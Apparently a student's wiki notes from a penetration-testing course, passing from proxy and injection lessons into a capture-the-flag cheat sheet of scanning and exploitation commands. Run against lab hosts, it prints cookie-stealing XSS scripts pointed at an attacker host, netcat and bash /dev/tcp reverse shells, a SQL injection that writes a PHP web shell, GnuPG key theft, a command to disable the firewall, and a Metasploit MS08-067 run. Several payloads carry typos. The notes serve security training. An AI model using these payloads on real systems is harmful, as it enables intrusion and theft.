    • Fiddler, Windows, Set stop points and plug-ins for hightlighted HTML, script editing, timeline visualization, etc.; www.fiddler2.com/fiddler2
    • Achilles, Windows, first to be released and easy to use; www.mavensecurity.com/achilles
    • Interactive TCP Relay, Windows, Supports HTTP.HTTPS and any other TCP protocol; unoervua.com/applications_defense_center/tools.asp
    • WebScarab, Java, open source and actively updated, with a modular interface
  • Commercial
    • SPI Dynamics SPIProxy/WebInspect; Windows; Records browsing and automates attacks, integrates other SPI Dynamics tools; www.spidynamics.com

Paros Exercise ..5.96

Activating Paros ..5.97

# cd /home/tools/paros
# java -jar paros.jar

Configuring Browser for Proxy ..5.98

  • Manual proxy configuration

Accessing a Page Through Paros ..5.99

  • By default, the response will not show images. View→enable image history

Using the Paros Trap ..5.100

  • 1) in the Paros GUI, o to the trap tab
  • 2) at the bottom of that trap portion of the screen, select both the “Trap request” and “trap response” items, making sure there is a checkmark in each
  • 3) Hit reload on browser
  • 4) you should see HTTP GET requests, including cookie
  • 5) hit continue

Closing Paros – Discard State ..5.102

  • Do not save state as we need it fresh for the next exercise

Clearing Browser State ..5.103

  • To clear the browser state:
    • History: Edit→Preferences→Navigation→History–Clear History
    • Cache: Edit→Preferences→Advanced→Cache–Clear Cache
    • Cookies: Edit→Preferences→Privacy & Security→Cookies–Remove All Cookies

Injecting Attacks Overview ..5.104

Kinds of Injection Attacks ..5.105

  • Numerous kinds
  • Involve entering instructions as data
    • Data and instructions are passed around within an application, tricking some interpreter into running them
  • Numerous kinds of injection attacks are possible
    • Command injection
    • SQL injection
    • Cross-Site Request Forgery (XSRF)
    • Cross-Site Scripting
    • Others

Cross-Site Request Forgery ..5.106

Cross Site Request Forgery ..5.107

  • Abbreviated as CSRF or XSRF
  • Attacker injecgts content on a thir-party website the the victim reads
    • This content makes the browser access another site and engege in a transaction on that other site
    • The content it not a script
    • It is often an HTML image element
  • XSRF is a cousin of XSS
    • But they are not the same thing!
    • XSRF - attacker injects HTML elements that make a victim's browser invoke functionality on another target site
    • XSS - attacker injects a script that run in victim's browser

XSRF Scenario: Login to Bank ..5.108

XSRF Scenario: Attacker Sets the Trap ..5.109

  • 6) Store attacker content
<img src="http://bank.target.tgt/transfer.php?acct_to=1234567&amount=1000">

XSRF Scenario: Victim Succumbs ..5.110

XSRF Notes ..5.111

  • This would work over HTTPS
  • We discussed this in the context of HTTP GET, but there are more complex variants that work over HTTP POST
  • What's the real vulnerability here?
    • The on-line bank blindly trusts any requests that come from an authenticated browser
    • How do you defend?
      • CAPTCHA for all serious transactions (user inconvenience)
      • Dynamic element that changes for each page request, such as a hidden form element variable

XSRF Exercise ..5.112

Mapping the Exercise to our Scenario ..5.113

  • The website on 10.10.10.50 allows you to post content
    • A simple blog site
    • The third-party website in our scenario
  • The website on 10.10.10.60 has an XSRF flaw
    • The online bank in our scenario
    • Vulnerable to XSRF Cross Site Request Forgery
    • You will rob this bank with an XSRF attack

Step 0a Attacker Creates Account on Blog Site ..5.114

http://10.10.10.50/blog560

Setup 0b Post a Test Blog ..5.115

Step 0c Victim Creates Account on On-Line Bank ..5.116

http://10.10.10.60/bank560

1-4 Victim Logs into Bank and Performs Transactions ..5.117

5-6 Attacker Formulates XSRF Message and Posts on Blog Site ..5.118

<img src="http://10.10.10.60/bank560/transfer.php?acct_to=1234567&amount=2000">

7-8 Victim Surfs to Blog Site and Reads Content ..5.119

  • Don't close victim browser after making the test transfer

9-10 Now Check Balance, Changed by XSRF Attack ..5.120

  • As victim's browser tries to render the image element, the victim's browser will transfer the money

Looking at Blog Entry Source ..5.121

  • The blog entry page has XSRF defenses so you cannot be forced to post to your own blog with an XSRF attack, because it includes a unique hidden form element generated on-the fly for each blog posting
...
Welcome, sk0d0! You may compose your new entry using the following form.
<p />
<form action="post.php" method="post">
<input type="hidden" name="token" value="1923ae...93" />
  • When a new blog entry is submitted, the web server verifies that this same value is present.

If the Attack Doesn't Work ..5.122

  • maybe mistyped the XSFR syntax
  • Browser has some form of XSRF protection

If There's a Problem, install Firefox 1.0.3 ..5.123

Cross-Site Scripting ..5.124

Cross-Site Scripting Overview ..5.125

  • abreviated XSS
  • Instead of posting HTML elements, and attacker might be able to inject a browser script into a website
    • The script doesn't run on the website
    • The website merely delivers the script to a victim's browser, where it runs
    • The website is vulnerable, because it does not filter components of the script
  • The script, running in the bictim's browser, can make the browser do anything the user can do on that website, and possibly make it access other sites

What Can XSS Do? ..5.126

  • Pop up a dialog box
    • Useful for verification and demonstration, but not really illustrative if the risk posed by XSS attacks
<script>alert("Vulnerable to XSS!";</script>
  • Steal cookies from victim's browser; could let the attacker pose as the victim
  • Attack infrastructure where browser resides
    • Scan other Internet servers, like government sites
    • Scan internal servers or exploit systems inside of firewall
  • Engage in transactions from within the browser agains the vulnerable site
    • alter account configurations, perform admin, etc.
project Yokoso – browser script that query browser history to see if that browser was used to manage infrastructure stuff

XSS to Steal Cookies ..5.127

  • Attacker could somehow submit or trick a user into submitting the following script to a target web server:
<script>document.locations='http://[AttackerIP]/cgi-bin/grab.cgi?+document.cookie;</script>
  • The + is fine for form entry- convert it to %2b if its used in a URL
  • This will make victim's browser:
  • Send an HTTP request for a doc to AttackerIP website
  • Invoke grab.cgi on the attacker's site
    • which will record any parameters sent to it
  • Pass to grab.cgi a variable that contains the current document's cookies
  • grab.cgi does not ahe to exist, but something has to be given as an argument

XSS for Attacking Internal Systems ..5.128

  • Using an XSS variant, the attacker could start scanning or otherwise attacking the internal network
  • Presentation by Grossman and Niedzialkowski on concept
  • Jitko tool by Billy Hoffman performs a Nikto scan of internal web sites using XSS functionality
  • Dan Kaminsky has demonstrated arbitrary TCP access via browser scripts

XSS to Exploit Admin Apps ..5.129

  • Many applications have an administrative console accessed using a browser
  • Such applications typically log all kinds of things
    • Date and timestamp
    • User account
    • Transaction type and transaction details
    • User agent string (browser type)
    • possible packet logs
  • The administrator reviews these logs using app-level admin credentials in the application
  • (Hooking the browser)

BeEF: Browser Exploitation Framework Wade Alcorn

Attacking Admins via XSS ..5.130

  • 1 Attacker> Submitt transaction to be logged that includes a browser script
  • 2 Application or Probe> Log data (including browser script)
  • 3 Admin Server or Log Server> Review transactions/logs (using browser)
  • 4 Admin User> Browser script runs in app admin's browser
  • 5 Attacker gains control of app

Types of XSS Vulnerabilities ..5.131

  • Generally, XSS vulnerabilities appear in two flavors
    • Reflected XSS flaws
      • Request contains XSS input, which is directly relected back at victim's browser
    • Stored XSS flaws
      • XSS input sent to target, which stores it as content
      • Later, this content is accessed by a victim;s browser
  • Let's explore each one, in association with stealing cookies

Reflected XSS Walk-Thru ..5.132

  • 0 Victim sets up account on a vulnerable site and sets up a cookie that the attacker wants. At some point in the application, a user's input is reflected back to the user without any filtering of script elements.
  • 1 attacker>victim: E-mail or web page from attacker that includes a link with malicious script pointing to target site
http://[vulnerableSiteIP]/[VulnerableFunction]?[Variable]=<script>document.location='http://[AttackerIP]/cgi-bin/grab.cgi?'%2bdocument.cookie;</script>
  • 2 Victim>vulnerable site: Victim clicks link
  • 3 Vulnerable site>Victim: Web app VulnerableFuncion reflects the user input back to the victim's browser without filtering
  • 4 Victim>Attacker(reflected) Script runs in Victim browser, sending the attacker the victim's cookie

Stored XSS Walk-Thru ..5.133

  • 0 same as above.
  • 1 Attacker puts malicous script on vulnerable site
<script>document.location='http://[AttackerIP]/cgi-bin/grab.cgi?'+document.cookie;</script>
  • 2 Site is vulnerable because it will store script and later send back to a browser. It could be appended to a file, written to a database, or stored in any other fashion
  • 3 At some time later, the victim user accessess some function on the target site, which causes the target site to respond by sending the attacker's stored script to the victim's browser
  • 4 The script runs on the victim's browser.

Detecting Reflected vs. Stored XSS Vulnerabilities ..5.134

  • Most automated XSS scanning tools submit input with a script that pops up an alert dialog box
  • Reflected XSS flaws are usually easier to detect than stored XSS flaws because results come right back
    • The Paros Proxy can scan for reflected flaws
    • Looks for that script to come back in the response
  • Stored attacks can be much harder to detect because testers and their tools often don't know where or when input will come back

Encoding for XSS Attacks ..5.135

  • Many sites attempt to filter XSS attacks by removing specific input characters associated with such attacks
  • But, these filters often are deficient
  • Some of them can be dodged by various encoding and script alteration schemes
  • These schemes are inventoried in depth by RSnake at http://ha.ckers.org
    • UTF-7
    • UTF-8
    • Hex
    • Multi-line
    • Numerous other examples
  • The Durzosploit tool provides automated obfuscation of some Javascript attacks http://engineeringforfun.comwiki/index.php/Durzosploit_Introduction

XSS Exercise ..5.136

XSS Exercise Overview ..5.137

  • the website 10.10.10.50 has two XSS flaws
    • 10.10.10.50/index.php is vulnerable to reflected XSS
    • 10.10.10.50/blog560/post.php is vulnerable to stored XSS
  • In this exercise, you will:
    • Scan for XSS flaws in each page using Paros Proxy
    • Manually verify the vulnerability is present, popping up a dialog box
    • Use a cookie stealing browser script to grab session cookies from an example victim user
    • Use these cookies to hijack a victim user's blog

Making Paros Aware of Targets ..5.138

# cd /home/tools/paros
# java -jar paros.jar
  • browse the site to make Paros aware of the pages-variable associated with each site will be in ()

Configuring a Paros Scan Policy And Launching the Scan ..5.139

Analyze->Scan Policy...
Deselect all except "Cross Site Scripting" and "Cross Site Scripting without Brackets"
Analyze->Scan All

Looking at Paros Alerts and Report ..5.140

  • Alerts will be in the bottom pane
  • Then go to Report→Last Scan Report
  • It will find the reflected script, but not the stored script on blog560

Manual Verification of XSS Flaw ..5.141

<script>alert("Vulnerable!");</script>

For this page, the same effect could be obtained by:

http://10.10.10.50/index.php?loc=<script>alert("Vulnerable!");</script>

since HTTP GET method is used

  • Steal cookie via reflected XSS flaw in 10.10.10.50/index/php and deliver to a netcat listener on our Linux guest
# nc -n -l -p 2222
<script>document.location='http://[LinuxIP]:2222/grab.cgi?+document.cookie;</script>
  • submit the from with continue
  • should see f GET for grab.cgi and cookie values
  • hit CTRL-C to stop netcat listener
  • Also, with the GET request the same attack could be performed with:
http://10.10.10.50/index.php?loc=<script>document.location='http://[LinuxIP]:2222/grab.cgi?'%2bdocument.cookie;</script>

Stored XSS Flaw? ..5.143

  • There is a stored XSS flaw that Paros didn't detect
  • go to http://10.10.10.50/blog560 and log in
  • with a login, blog560 should place you in compose.php with a form asking for a Subject and an Entry for your blog. Test both fields

Subject:

<script>alert(1);</script>

Entry:

<script>alert(2);</sctipt>
  • View the blog. Alert 2 should pop up. The subject field is not vulnerable.
  • Compose a cookie stealing blog, with anything in the subject and the script in the Entry
<script>document.location='http://[YourLinuxIPadde]:2222/grab.cgi?+documnet.cookie;</script>
  • this will “steal” the own blogger's cookie for 10.10.10.50
  • a BLOGsid value is a session tracking cookie used to identify bloggers after they are logged in. We want the attacker steal another blogger's cookie and hijack another user's blog

Creating a Victim Blogger ..5.145

  • Create a victim blogger and write a normal blog entry
  • have the victim view his own entry. All this sets up the session cookie we want to steal

Victim Reads Attacker's Blog ..5.146

  • Restart netcat on the attacker
  • Then on the Victim, read the attacker's blog
  • The attacker can use the victim's cookie to post an evil message to it
  • Close the attacker browner to clear the sessions
  • enable the trap on paros
  • Start the browser back up and surf to http://10.10.10.50/blog560
  • There should not be s blog560sid cookie initially, but, you will see a user cookie in the request since it is persistent; hit continue to get a session cookie
  • Look for the Set-Cookie string in a subsequent response. When you see Set-Coolie:blog560sid=” followed by some value, DO NOT HIT Continue
  • Paste the cookie value in the netcat listener into Paros and then continue
  • The attacker's browser will still be prompted to log in

Posting a Blog from the Hijacked Session ..5.148

  • Click on “Compose” at the bottom of the screen and continue in Paros until the browser welcomes the victim

Viewing the Successful Hijack ..5.149

  • form the Victim machine, view his own blog to see the attacker's post

Command Injection ..5.150

Command Injection ..5.151

  • Some applications pass userinput to a program invoked via a command shell for processing
  • With such a flaw, and attacker could piggy back shell commands with user input to make the target machine run them
    • The result: command injection
  • These commands typically run on the web server with the privileges of the web server itself
    • Usually limited privileges, but still enough to cause damage
    • Once attacker can execute commands, all of gthe techniques we discussed in 560.2, 560.3, and 560.4 are in play

Which Command to Inject? ..5.152

ping [AttackerIPaddress]
  • Why?
    • Most OS's include it
    • basic syntax the same on OS's
    • Most any account can run ping
    • Most networks allow outbound ICMP Echo messages
  • others that are not the same on OS's: ls, dir; ps , tasklist; ipconfig,ifconfig

More on Ping ..5.153

  • likely not damage the system or network
  • likely not noticed by administrators
  • passive OS fingerprinting on the ping request to determine target OS type
  • small command syntax
  • verifies that the target has outbound network back to attacker
  • Most Important: A tester can see if the command executes successfully even if the output of commands not visible (Blind Injection)
    • simply sniff for ICMP Echo messages from the target

Downside of Ping ..5.154

  • On Linux/Unix, ping keeps running, until someone stops it
  • Ways to compensate:
    • -c [N] (Assuming Linux/Unix)
    • -n [N] (Assuming Windows)
    • killall ping
      • works on Linux, but on Solaris, it takes the box down!
  • nslookup another good one to try

Command Injection Exercise ..5.155

Command Injection Vulnerability ..5.156
  • 10.10.10.50 has a command injection injection flaw in index.php
    • It displays to you the output of your command
  • 10.10.10.60 ahs a market research application with a command injection flaw
    • It will not return the output of your command
  • Traditional command injection against 10.10.10.50/index.php
  • Blind command injection against 10.10.10.60/research560/loginform.php
  • Configure not to use Paros proxy (Direct connection to internet)

Non-Blind Command Injection ..5.157

  • We need to provide some user input for the existing command in the application to process and then terminate that command inviked by the web app with a semicolon, and then follow it with the command we want to execute, followed by another semicolon, followed by another command

monitor for success:

# tcpdump -n host 10.10.10.50 and icmp

Then , enter the following command into the form field on the website 10.10.10.50

test; ping -c 4 [YourLinuxIPaddr]; echo hello

other commands:

test; whoami; echo hello
test; cat /etc/passwd; echo hello

Blind Command Injection ..5.158

# tcpdump -n host 10.10.10.60 and icmp

in http://10.10.10.60/research560/loginform.php in the Uername field:

test; ping -c 4 [YourLinuxIPaddr]; echo hello
  • we cannot see output of commands, so “test; whoami; echo hello” will not allow us to see anything, but the ICMP should be seen

Blind Command Injection to Launch Netcat Backdoor Shell ..5.159

  • netcat just so happens to be installed on target host
  • let's cause the web application to invoke it to make a reverse shell connection back to us
  • start by running the following on your Linux box, a Netcat listener(-l)
# nc -n -v -l -p [port]

on page http://10.10.10.60/research560/loginform.php

test; /usr/local/bin/nc [YourLinuxIPaddr] [port] -e /bin/bash; echo hello
  • There won't be a prompt, but you should be able totype in shell commands and they will run. (whoami, hostname, ls, ifconfig)
  • CTRL-C to stop Netcat from running

Netcat-Style Shell Access without Netcat ..5.160

  • Start with a nc listener on the Linux box
# nc -n -v -l -p [port]

Then, stil on your Linux machine, run a command that will make an interactive shell onnection using bash, across the network

# /bin/bash -i > /dev/tcp/[YourLinuxIPaddr]/[port] 0<&1
  • This will replace netcat with bash, redirect and /dev/tcp!
  • Note that we invoked bash in interactive mode (-i) directing its output to a tcp divice thatwill tell our system to make a TCP connection across the network. Tjhe 0<&1 tells the system to duplicate the standard output file descriptor (&1) and connect it to the standard in of bash. That way, we an send commands into bash. You could add 2>&1 to this command at the end and even get your shell propt and standard error messages back.
Pen Test Ninjitsu webcast trilogy: Part 2 Crouching Tiger Hidden Netcat netcat without netcat

Using bash and /dev/tcp with Blind Command Injection ..5.161

# nc -n -v -l -p [port]
test; /bin/bash -i > /dev/tcp/[LinuxIPaddress]/[port] 0<&1 2>&1

SQL Injection ..5.162

SQL Injection ..5.163

  • Most web apps have a back-end database
    • usually on a separate server, although sometimes running on the web server itself
    • Most common for of database today is relational- groups of tables with columns and rows
  • SQL is most common language for interacting with databases
    • creating, manipulating, updating, querying
  • Web app formulates SQL queries based on user input
    • Variables from forms, hidden forms, cookies, URL variables, etc.

Injecting SQL ..5.164

  • If user input isn't filtered, an attacker can enter meaningful database syntax via user input, hoping that the database will process it
  • Consider a select startment built by the web app based on user input that looks up product information for a given SKU number:
select * from inventory where sku='[input]';
  • Attacker can provide SQL syntax in [input]
    • extend logic of existing query
    • Possibly conduct additional queries

SQL Injection Penetration Testing Process ..5.165

  • Discover SQL injection flaw
  • Determine database type
  • Determine database structure
  • Query data
  • (possibly) With SQL injection, force database engine to run commands in target operating system: shell command injection via SQL injection
  • The free sqlmap tool probides automation for each of these steps

Finding SQL Injection Flaws ..5.166

  • In SQL, quotation marks terminate strings
    • Injecting quotes may terminate a string in an unexpected locatoin, resulting in an error
    • Try all kinds of quotes, one at a time: ' ” ` ' “ ” (back quote, forward quote, back quote)
    • The error message may give us information about the database type
      • Oracle: “ORA-01756: quoted string not properly terminated”
      • MS SQL Server “Incorrect syntax near '[whatever]' ”
      • MySQL: “..error in your SQL syntax; check the manual…”
      • PostgreSQL: 5-digit hex error code
  • Paros can scan for SQL injection flaws
    • A configurable scan policy option; not perfect, but helpful
  • Other SQL injection scanning tools include the Burp suite's Intruder program from www.portswigger.net/intruder

The Structured Query Language ..5.167

Useful SQL Statements ..5.168

Searches database:

select [column(s)] from [table] where [search_criteria]
  • Wild cards supported in columns(*) and where clauses (* %)

Updates the database:

update [table] set [column] = [value] where [search_criteria]

Pulls out pieces of strings- useful for blind SQL injection

substring([string],[position],[length])
  • Numerous other queries and commands:
    • drop, delete, shutdown - avoid these in pen tests

Useful SQL Elements ..5.169

  • Comment delimiters:
    • Turn off trailing logic in application's query
      • –, #, and /* indicate a comment in various back-end database types
  • Values of OR TRUE:
    • Takes existing SQL query and makes it search for everything in the table, not just what the app writer wanted
' or 1=1
" or 1=1
' or 'a'a = 'a
') or ('a'=a

For example:, inject:

' or 1=1--

into the select statement becomes:

select * from inventory where sku='' or 1=1--';

responds with entire inventory table. The – makes sql ignore the ';

Additional Useful SQL Elements ..5.170

  • The semicolon (;)
    • Some SQL implementations support multiple queries on same line

attacker could use

'; select * from users where 1=1;--

resulting in

select * from inventory where sku=''; select * from users where 1=1;--';
  • may respond with entire users table
  • In others, two queries on same line separated by semicolon is not allowed, resulting in error
  • The Union element
  • Merges together the response of two queries into one set of results
select * from inventory where sku='' UNION select * from users where 1=1;--';
  • May respond with entire users table, merged into the end of the inventory table
  • Must make sure the number of columns is the same for both selects, and the type of each column matches
    • May need to cast variables and append columns of 1's or blanks(“”)
select * from inventory where sku='' UNION select (name, id, 1, 1, 1) from users where 1=1;--';

Querying the Database for Its Structure ..5.171

  • We want metadata, the names of tables and columns, so that we an query them specifically

MS SQL Server:

select name from master..sysobjects where xtype='U';
select top 1 table_name from information_schema.tables;

Oracle

select table_name from user_tables;

MySQL

select table_schema,table_name from information_schema.tables;
  • The SQL Injection Cheat Sheets are a tramendous resource for this kind of information

SQL Injection to Perform Command Injection ..5.172

  • We my be able to use SQL injection to make the database run commands in the operating system, resulting in command injection
  • MS SQL Server, call built-in stored procedures

To run code

exec master..xp_cmdshell 'ping [attackerIP]' --

To exfiltrate data to an attacker's file share

exec master..sp_makewebsask \\[attackerIP]\share\results.html, "select * from information_schema.tables"

MySQL: Build PHP file

and 1=0 union select '[PHP code]' INTO OUTFILE '/var/www/html/mycode.php'

Blind SQL Injection ..5.173

  • Some web apps are vulnerable to SQL injection, but you can't see output of SQL queries or even explicit error messages
  • But you may be able to discern information about database structure and contents via blind SQL injection
  • Ask a serie of Yes/No questions
    • if we get a legitimate page in our response, the answer was “Yes”
    • If we get a blank page, a page indicating that nothing was found, or a page apologizing for a glitch, the answer is “No”.
  • Attacker adjusts query dynamically, possibly with a custom script to walk through table names, column names, and contents

Blind SQL Injection (2) ..5.174

  • We can find names by playing an ABC game

Is the first table name first letter greater than m?

and substring((select top 1 name from master..sysobjects where xtype='U'),1,1)>'m'

If not, is the first table name first letter greater than g?

and substring((select top 1 name from master..sysobjects where xtype='U'),1,1)>'g'
  • Often involves submitting hundreds or thousands of queries - an iterative by very noisy process
  • Absinth tool by Nummish and Xeron helps automat this process
  • SQLMap also support blind SQL injection automation
    • Has an option to support time-based blind-SQL injection

SQL Injection Exercise ..5.175

SQL Injection Flaw ..5.176

  • There is an injection flaw at http://10.10.10.10.60/research560
  • This is a website that surveys people to determine what they like
    • Favorite color
    • Favorite subject in school
    • Most desired item on a desert island
  • The form used to search for survey results has a SQL injection flaw
  • A Paros scan using the SQL Injection check in the scan policy can find this flaw
    • But instead of scanning with Paros, let's move on directly to exploitation

Create Account and Fill in Survey ..5.177

  • Create an account and fill out a survey

Search and Inject Double Quote ..5.178

  • Return to main page and select view data
  • enter color of your choosing
  • no username shows in normal results
  • Try just a double quote, which results in a syntax error of three quotes in a row

The code contains something like:

select * from results where color = "[our data]"

Inject Something More Meaningful ..5.179

Try

"or 1=1 /*
  • with this, we just see all the results at the same time that we could get individually. No sensitive data yet.

Pulling other Tables with Union ..5.180

Try using a UNION

" union select * from accounts /*
  • We guess at the table name of “accounts”, but get an error “…different number of columns”

We can add

,1
,1,1
,1,1,1

until we get the columns right

" union select *,1 from accounts /*

Now, we get sensitive data we aren't supposed to see

Displaying Arbitrary Text ..5.181

" union select "hello world","","","","","" /*
  • This could be used to build a Reflected Cross-site scripting attack (XSRF) or other things like command injection

Create a file ..5.182

" union select "<?php system(\"ping -c 4 [YourLinuxIPaddr]\");","","","","","" into outfile "/var/www/html/[yourfilename].php" /*
  • This will union the results of a blank search with a select statement that actually doesn't search for anything, but instaed takes the text and pits it into a file

If you have trouble typing ..5.183

make output prettier

" union select "<?php system(\"echo '<pre>'; ping -c 4 [YourLinuxIPaddr]\");","","","","","" into outfile "/var/www/html/[yourfilename].php" /*

Make a command injection page

" union select "<?php if (isset($_REQUEST['cmd']))( echo '<pre>'; system($_REQUEST ['cmd']); echo '</pre>'; ) ?><form action=<?php echo basename($_SERVER['PHP_SELF'])? >> <input type=text name=cmd size=20> <input type=submit></form>","","","","","" into outfile "/var/www/html/filename.php" /*

Execute your file ..5.184

Day 6

Project Scope ..6.6

  • Target network 10.11.11.2-253
  • reach these machines through one of two routers 10.10.1.1 or 10.10.1.254
  • Routers: external 10.10.1.1 10.10.1.254 internal 10.11.11.1 and 10.11.11.254
  • Routers are not in scope

Adding a Default Route and Changing DNS on Linux ..6.7

# route add default gw [RouterIPaddr]
# route add default gw 10.10.10.1

or

# route add default gw 10.10.10.254
# gedit /etc/nsswitch.conf
hosts: files dns
# gedit /etc/resolv.conf
nameserver 10.11.11.24

Additional notes ..6.8

  • DNS at 10.11.11.24, which is in scope
  • Try zone transfers

Capture the Flag Goal ..6.12

  • GnuPG directories have the hidden attribute, so use
dir /a

Stealing GnuPG Keyrings ..6.15

  • On Windows, GnuPG keys are stored in
C:\Documents and Settings\[UserName]\Application Data\gnupg\pubring.gpg
C:\Documents and Settings\[UserName]\Application Data\gnupg\secring.gpg
  • On Linux, they are stored in
/home/[UserName]/.gnupg/pubring/gpg
/home/[UserName]/.gnupg/secring/gpg

Verify the Keys ..6.17

gpg --list-keys
gpg --list-secret-keys

Decrypting a File Using GnuPG ..6.18

gpg -d -o <OutputFileName> <EncryptedFileName>

capture the flag

Capture the flag Hints:

Pgp passphrase have same password as user

4 sets of pgp keys

/u:[MachineName-DomainName]/[user]

falken pw joshua

Look for VM's

To disable windows firewall:
C:\> netsh firewall set opmode disable

pass the hash

password cracking program should be running at all times with hashes from rooted machines

add cracked passwords to password.lst

clear out john.pot when cracking different machines

Use John and Rainbow tables both

commands

Zone transfers 1.181

dig @10.10.10.45 560gc.tgt -t AXFR
for i in `seq 20 40`; do host 128.173.191.$i;done
for i in {20..40}; do echo $i;done

tcpdump 2.18

Ping sweeps 2.30

tcpdump -nnp host 10.10.75.218 and net 10.11.11/24
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i; done
for i in `seq 2 254`; do hping3 --count 1 10.11.11.$i 2>/dev/null | grep ip=; done

Port Scan 2.80

nmap -n -sP 10.11.11.2-254 --packet-trace

nmap -n -PN -sS 10.11.11.24 -p 1-1024 --packet-trace
 hit p to start or shift-p stop packet trace
tcpdump -nnp host 10.11.11.24
nmap -n -PN -sT 10.11.11.24 -p 1-1024 --reason
nmap -n -sS 10.11.11.24
nmap -n -sS 10.11.11.24 --badsum

OS fingerprinting 2.99

tcpdump -nnp host 10.10.75.218 and net 10.11.11
nmap -n -O -sT -p 1-1024 10.11.11.2-254

Version Scan 2.100

nmap -n -sV -p 1-150 10.11.11.24

for all types

nmap -n -sA -p 1-150 10.11.11.24

amp 2.102

amap -qv 10.11.11.24 1-150

with banners

amap -bqv 10.11.11.24 1-150

nc scanning 2.180

nc -v -n -w1 -z 10.11.11.2-254
echo "" | nc -v -n -w1 10.11.11.2-254

Vulnerability Scanning 2.120

for web server
host 560gc.tgt
nmap -n –script=robots.txt.nse 10.11.11.?? -p 80
wget 560gc.tgt/robots.txt
nmap -n --script-robots.txt.nse 10.11.11.2-254 -p 80

netbios statistics 2.122

C:\> nbtstat -A 10.11.11.windows machines
tcpdump -nnp host 10.11.11.windows
nmap -n --script-nbstat.nse 10.11.11.windows

sshv1 c=scan 2.124

nmap -n -sV --script=sshv1.nse 10.11.11.linux machine with ssh

Nessus 2.136

gather users and groups Linux 2.157

# cat /etc/passwd
# finger @[targetIP]

Windows 2.165

> net use \\[targetIP] "" /u:""
> enum -U [targetIP]
> enum -G [targetIP]
> user2sid \\10.11.11.?? [machine-name]
> sid2user \\10.11.11.?? [?? 5 21 ?? ?? ??] 500
> for /L %i in (1000,1,1010) do @sid2user \\10.11.11.?? [5 21 ?? ?? ??] %i

Metadata Analysis 1.159

wget -nd -r -R htm,html,php,asp,aspx,cgi,gpg -P /tmp/560/560metadata_ex 560gc.tgt
wget -nd -r -A pdf,doc,docx,cls,xlsx -P /tmp/560/560metadata_ex 560gc.tgt
exiftool
strings
  -e l (little endian)
  -e b (big endian)

Nikto 5.85

Paros 5.96

Pass the hash

password cracking

Metasploit 3.41

# cd /home/tools/framework-3.3.3
# source /opt/usenewruby.sh
# ./msfconsole
> color fales
> show exploits
> search -t exploit great smb
> use exploit/windows/smb/ms08_067_netapi
> show payloads
> set PAYLOAD windows/shell/bind_tcp
> show options
> ping -c 10.11.11.??
> set RHOST 10.11.11.??
> set LPORT 24333

Open Firewall ports

open a port to allow backpipe relay
# iptables -I INPUT 1 -s 10.10.75.218 -p tcp –dport 4444 -j ACCEPT
# mknod backpipe p
# nc -l -p 4444 0<backpipe |nc localhost 22 1>backpipe
> putty.exe 10.11.11.?? 4444

pgp

copy .gnupg to ~/
passwords for users likely the passwords for gpg encryption

procedure

DNS Zone transfer

Ping Sweep

nmap
hping

Vulnerability scan

nessus
nmap --script=vuln
1)
Pseudo-Random Stream (PRGA
aoe/sans2010.txt · Last modified: 1970/01/18 07:09 by 127.0.0.1